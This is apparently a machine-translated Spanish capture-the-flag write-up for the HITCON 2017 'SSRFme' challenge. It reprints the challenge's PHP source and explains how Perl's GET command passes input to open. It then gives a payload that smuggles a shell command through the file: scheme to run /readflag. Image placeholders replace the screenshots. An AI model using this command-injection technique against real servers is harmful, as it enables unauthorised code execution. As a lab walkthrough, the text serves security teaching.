[BUUCTF] [HITCON 2017] SSRFme

Puntos de conocimiento

Vulnerabilidad del comando abierto GET del script Perl

GET es un comando en Lib para WWW en Perl. El propósito es simular solicitudes HTTP GET. La capa inferior de la función GET llama al procesamiento abierto.

Existe la ejecución de comandos abiertos y también admite la función de archivo

Función recién aprendida

pathinfo

Auditoría de código

El código anterior devuelve mi ip, que es md5 encriptada con naranja. El contenido ingresado a través del parámetro url se ejecutará con un comando GET, y
el resultado de la ejecución del comando se almacenará en un archivo con el nombre del valor del parámetro de nombre de archivo.

<?php
    if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
    
    
        $http_x_headers = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);
        $_SERVER['REMOTE_ADDR'] = $http_x_headers[0];
    }

    echo $_SERVER["REMOTE_ADDR"];

    $sandbox = "sandbox/" . md5("orange" . $_SERVER["REMOTE_ADDR"]);
    @mkdir($sandbox);
    @chdir($sandbox);

    $data = shell_exec("GET " . escapeshellarg($_GET["url"]));
    $info = pathinfo($_GET["filename"]);
    $dir  = str_replace(".", "", basename($info["dirname"]));
    @mkdir($dir);
    @chdir($dir);
    @file_put_contents(basename($info["basename"]), $data);
    highlight_file(__FILE__);

Intente leer el directorio raíz y cree un archivo llamado abc.
Inserte la descripción de la imagen aquí
Inserte la descripción de la imagen aquí
Veo que readflag debería usarse para leer la bandera y construir la carga útil?url=file:bash -c /readflag|&filename=123
Inserte la descripción de la imagen aquí

Supongo que te gusta

Origin blog.csdn.net/solitudi/article/details/108909609
Recomendado
Clasificación